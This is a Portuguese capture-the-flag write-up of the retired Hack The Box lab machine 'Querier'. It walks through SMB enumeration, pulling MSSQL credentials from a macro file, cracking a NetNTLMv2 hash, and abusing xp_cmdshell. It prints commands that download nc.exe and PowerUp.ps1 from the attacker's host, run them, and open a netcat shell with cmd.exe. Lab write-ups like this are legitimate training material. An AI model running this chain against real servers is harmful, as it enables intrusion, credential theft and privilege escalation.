Olá Habr! Neste artigo, você aprenderá sobre um método de atacar um servidor remoto usando os recursos do MsSQL, criando um shell reverso para correção no sistema e um exemplo de operação de uma diretiva de grupo mal configurada no Windows.
Abaixo, vamos falar sobre a nossa experiência de passar a máquina do laboratório
Querier no portal
hackthebox .
Para aqueles que não sabem o que é o hackthebox, este é um portal onde você pode testar suas habilidades na prática, existem tarefas de CTF e as próprias máquinas de laboratório.
Isenção de responsabilidadeAs regras do serviço diziam: " Não compartilhe como você invadiu cada máquina com outros membros. Isso inclui a geração do código de convite e todos os desafios ". Mas como essa máquina não está mais ativa e é armazenada na seção Máquinas Retiradas , somente membros VIP podem acessá-la.

Coleta de informações
Vamos começar nossa exploração iniciando a verificação de portas com o nmap.
nmap –sC –Pn –A 10.10.10.125

Listamos as portas encontradas.
Enumerar 139/445 / tcp (smb)
Usaremos o utilitário smbclient para acessar os recursos do servidor SMB.
smbclient –L //10.10.10.125
Após analisar todos os recursos, encontramos no diretório Relatórios o arquivo "Currency Volume Report.xlsm".

Se você abrir este arquivo com o Microsoft Excel padrão, ele
aparecerá à primeira vista completamente vazio.
Analisamos o arquivo usando o utilitário
binwalk , que o ajudará a examinar os arquivos incorporados do documento xlsm.

Na saída do binwalk, encontramos alguns arquivos interessantes contidos no xlsm.
Usando o sinalizador –e, descompacte-o.
binwalk –e Currency\ Volume\ Report.xlsm

Agora usaremos o utilitário
strings para gerar caracteres impressos. Examinando os arquivos, encontramos dados interessantes em vbaProject.bin. Parece que encontramos as credenciais para o servidor mssql.

Para resumir as informações recebidas atualmente:
- Sabemos que o servidor mssql está girando na porta 10.10.10.125:1433;
- Temos credenciais do servidor mssql do usuário.
Então, vamos tentar se conectar ao servidor usando o script do módulo
impacket .
python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Obtenha acesso ao MsSQL.

Enumerar MsSQL
Listamos as informações úteis para nós usando os comandos do
artigo .
Após executar o SQLi, obtemos um hash da senha do usuário mssql-svc.

Para obter a senha explicitamente, é necessário removê-la usando qualquer ferramenta conveniente para você.
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
Nós obtemos a senha do mssql-svc .
Conectando-se ao SQL com novos
empréstimos credenciais.
python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
Os direitos deste usuário nos permitem executar
xp_cmdshellSobre xp_cmdshellO MsSQL é enviado com um grande conjunto de procedimentos armazenados avançados. O mais interessante deles é o xp_cmdshell. Ele fornece acesso à linha de comando do sistema operacional.
Obtenha o shell reverso
Estamos tentando obter o shell através do netcat, para isso precisamos carregá-lo no servidor atacado.
Vamos ao diretório em nossa máquina onde o netcat está localizado e executamos:
python –m SimpleHTTPServer
No shell mssql para baixar o netcat (nc.exe) para o servidor remoto, execute o comando powershell, especificando o caminho de salvamento.
xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" "
Iniciamos o netcat para ouvir na porta 4444.
xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"
Iniciamos o netcat do nosso lado, especificando o ip e a porta do servidor atacado e obtemos o shell.
nc 10.10.10.125 4444
Execute um
script do PowerShellMafia para aumentar os privilégios.
powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks

Como resultado do script, obtivemos as credenciais de administrador.
Vamos aos recursos smb com novas credenciais e permissões.


Pegue o sinalizador root.txt. Vitória!